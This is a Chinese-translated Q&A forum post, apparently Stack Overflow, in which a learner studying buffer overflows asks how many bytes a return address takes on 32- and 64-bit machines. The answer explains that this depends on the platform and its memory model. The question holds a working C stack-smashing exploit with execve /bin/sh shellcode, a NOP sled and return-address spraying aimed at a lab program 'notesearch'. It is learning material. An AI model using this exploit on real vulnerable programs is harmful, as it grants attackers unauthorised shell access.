我知道这可能听起来有些讽刺,但我无法在任何地方找到它。 在64位机器上,返回地址是多少字节? 32位怎么样?
我问的原因是因为我正在学习缓冲区溢出攻击,我必须写一个漏洞。这个程序在缓冲区中分配了100个字符,但是没有检查它是否溢出。我到目前为止的计划是:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char shellcode[] =
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
long int i, *ptr, ret, offset = 176;
char *command, *buffer;
command = (char *) malloc(200);
memset(command, 0, 200); //Zero out the new memory
strcpy(command, "./notesearch \'");
buffer = command + strlen(command); // Set buffer at the end
if(argc > 1) //Set offset
offset = atoi(argv[1]);
ret = ((long int) &i) - offset; //Set return address
for(i=0; i <160; i+=8) //Fill buffer with return addres
*((long int *)(buffer + i)) = ret;
memset(buffer, 0x90, 60); //Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode) -1);
strcat(command, "\'");
system(command); //Run Exploit
free (command);
}
我想知道的原因是因为当我用返回地址填充缓冲区时,我需要确保它的大小正确
答案 0 :(得分:2)
这取决于你的意思&#34; 64位机器&#34;或者&#34; 32位机器&#34;。
首先,您的问题被标记为C. C平台可以实现(或完全)独立于底层硬件,这意味着它可以使用任何大小的返回地址,无论机器如何。
其次,如果C平台与底层硬件保持密切联系(通常就是这种情况),那么在具有平坦内存模型的平台上它应该相当简单:64位机器意味着64位返回地址; 32位机器意味着32位返回地址。
另一方面,在具有分段内存的平台上,它可能依赖于编译器提供的运行时内存模型。例如,在DOS平台上,对于16位机器,返回地址可以是16位或32位,具体取决于所选的内存模型。